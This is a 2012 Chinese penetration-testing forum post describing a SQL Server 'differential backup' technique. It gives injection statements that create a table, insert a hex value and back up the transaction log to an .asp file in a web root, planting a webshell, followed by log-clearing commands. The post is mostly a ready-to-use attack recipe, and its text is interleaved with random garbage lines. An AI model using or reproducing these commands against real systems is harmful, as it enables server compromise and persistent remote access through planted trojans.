中国网络渗透测试联盟
标题:
差异备份提权
[打印本页]
作者:
admin
时间:
2012-9-15 14:38
标题:
差异备份提权
select * from master.dbo.sysdatabases 列出所有列的记录
, z5 J! C* \) P7 |( W D, x
& T- d! } u9 o5 c; V e" p
select name from master.dbo.sysdatabases 仅列出name列的记录
/ X8 b4 K" V: Y% h% d- c
q* |, U( e& F# b; H
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
7 N& ?/ b; F3 e, A' I
6 E* @8 _2 G4 Q! e: g
alter database 数据库名 set RECOVERY FULL--
9 G [7 q0 D, D
7 Y" M1 o2 Q& d& a
create table cmd (a image)-- \**cmd是创建的临时表
0 q& M6 P. F' b: \
6 o5 H5 _ {9 u7 w( ]
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
6 e. t( i1 x0 i1 r- a0 \
: V2 Q: a3 `9 h3 a- f
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
* q/ Q5 A% p, \* I7 X
/ f) E# x" z! X: M
//木马存放路径（转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个）
) B7 Y4 [4 W' e5 Y% }' c
, S* e' L# a. W. _# L
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
% N$ E0 S/ v. n, d7 d% e+ J3 y) p: |
8 B' B' L- y6 |; i$ J3 v
drop table cmd--
" s1 L( q! S. e" C5 s( m5 q/ f
t8 G: v# {: q' _+ m: b
& J* A. R: j- f! o7 Z
f:\
' W/ V0 q' F# _* Q2 t
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)
; n B% a( j, \7 f
2 u- T$ a) N, q# c/ `5 C: Y0 i
最好多加几个回车0d0a,要不会出错哈
6 `0 ^: z/ f0 M: a7 Y! \% P
% E' S. A/ p: U/ \
/ [# i# P! Z: ~) Z6 T* E: R* f
SQL Server日志清空方法
/ `# G1 T$ H& z V, M! O
+ N/ r" { c1 {
在查询分析器中顺序执行以下三步，其中 databasename 为你的数据库文件名
& C% C. |9 ~! {
1.清空日志：DUMP TRANSACTION databasename WITH NO_LOG
+ v/ h6 h. {6 r& X @) p6 D- Q& ~
* ?) N# W9 U) D" M: l9 w) K
2.截断事务日志：BACKUP LOG databasename WITH NO_LOG
2 d9 u* N' Y3 K4 a' W
+ ~3 R) f) N! Y" {! |5 `0 D0 O6 D
3.收缩数据库：DBCC SHRINKDATABASE(databasename)
" l. b! ^4 P9 \# x8 D
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2